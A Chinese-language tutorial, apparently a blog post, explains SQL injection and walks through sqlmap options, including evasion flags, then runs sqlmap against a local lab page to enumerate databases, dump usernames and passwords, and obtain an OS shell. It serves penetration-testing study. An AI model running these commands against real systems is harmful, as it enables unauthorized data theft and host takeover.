什么是SQL注入?
原理:
Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL
命令
危害:
注入可能导致数据丢失泄露或数据破坏、缺乏可审计性,有时甚至能导致完全接管主机。
类型:
主要有 数字型、字符型、搜索型
防范:
使用结构化查询,如Mysqli
,并且添加过滤机制
分类(根据技术)
另外还有
二阶注入:不对Web服务器产生直接影响,无回显的
基于注入点位置的: 通过用户输入的表单域的注射入、 通过cookie注射入、通过HTTP-header请求头的注入
关于SQL注入神器 Sqlmap
我的博客有详细的sqlmap
用法:https://wintrysec.github.io/wintrysec.github.io/2018/12/12/SQLmap/
当给到 sqlmap
一个url
的时候它会这么做
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
所以使用sqlmap
的时候,应提供尽量多的已知信息,提高效率
关于--level
和--risk
选项
参数说明:
--purge #清楚缓存日志
--data="id=1&name=test" #发送POST请求,默认使用&分隔符
--param-del=";" #强制参数使用";"分隔符
--delay=10 #延时注入的方法,说明一分钟请求6次
--timeout #设定http请求超过多少秒为超时,默认30秒
--random-agent #Sqlmap会从文件 ./txt/user-agents.txt 中随机地取一个User-Agent
#注意,在一次会话中只会使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent
--auth-type Basic --auth-cred "user:pass" #基本身份认证
--ignore-code=401 #无视http状态码
--ignore-redirects #无视http重定向,比如登录成功会跳转到其他网页,可使用这个忽略掉
--safe-url="xxx.com" #隔一会就访问一下的安全URL,避免错误请求过多而被屏蔽,Sqlmap不会对安全URL进行任何注入测试
--skip-urlencode #关闭URL编码, 不排除有的奇葩网站url不遵守RFC标准编码
Techniques
--technique=TECH
#指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
--time-sec=TIMESEC #在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
--union-cols=UCOLS #联合查询的尝试列数,随level增加,最多支持50列。例: --union-cols 6-9
--union-char=UCHAR #联合查询默认使用的占列的是null,有些情况null可能会失效,可以手动指定其他的。例: --union-char 1
--union-from=UFROM #联合查询从之前的查询结果中选择列,和上面的类似。
--dns-domain=DNS.. #如果你控制了一台dns服务器,使用这个可以提高效率。例: --dns-domain 123.com
--second-order=S.. #在这个页面注入的结果,在另一个页面显示。例: --second-order 1.1.1.1/b.php 用于二阶注入
寻找并利用SQL注入
这里我们使用sqlmap
演示一个最简单的sql注入
1.注入检测,获取数据库
sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql --dbs #-u指定目标,--dbs列数据库
2.列表
sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name --tables
3.列字段
sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name -T users --columns
4.拖库 (取数据)
sqlmap -u "http://192.168.1.105/code/owasp_top10/sqli/simple_get_blind/?id=1" --dbms=mysql -D database_name -T users -C "id,username,password" --dump --stop 5 #--stop N 取前N条数据
5.拓展
--is-dba #判断是否dba权限,如果是可以用下边的选项获取shell
--os-shell #获取系统交互shell